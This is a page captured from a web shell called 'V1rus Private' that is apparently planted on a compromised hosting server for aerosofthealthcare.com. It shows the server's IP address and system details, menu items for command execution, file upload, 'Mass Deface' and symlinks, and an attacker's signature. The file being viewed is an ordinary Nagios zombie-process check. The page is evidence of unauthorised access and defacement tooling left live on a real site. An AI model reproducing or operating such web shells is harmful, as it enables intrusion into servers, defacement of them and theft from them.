V1rus Private
User / IP
:
216.73.217.108
Host / Server
:
190.92.174.125 / aerosofthealthcare.com
System
:
Linux s3739.bom1.stableserver.net 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64
Cmd
|
Upload
|
Mass Deface
|
Create
|
Sym
:
/
lib64
/
nagios
/
plugins
/
Viewing: vz7_check_a2_zombie-procs.sh
#!/bin/bash # Get the number of zombie processes zombie_procs=$(ps -eo stat |grep -c '^Z') # Check if the number of zombie processes exceeds the threshold if so run script and crit if [[ "${zombie_procs}" -gt 250 ]]; then if [ ! -f "/etc/cron.d/zombie_check" ]; then /opt/bin/zombie_procs.sh echo "Zombie_Processes - ${zombie_procs} zombie processes detected - CRIT" exit 2 else echo "Zombie_Processes - ${zombie_procs} zombie processes detected - CRIT" exit 2 fi else if [ -f "/etc/cron.d/zombie_check" ]; then rm -f /etc/cron.d/zombie_check echo "Zombie_Processes - ${zombie_procs} zombie processes detected - OK" exit 0 else echo "Zombie_Processes - ${zombie_procs} zombie processes detected - OK" exit 0 fi fi
Coded With 💗 by
HanzOFC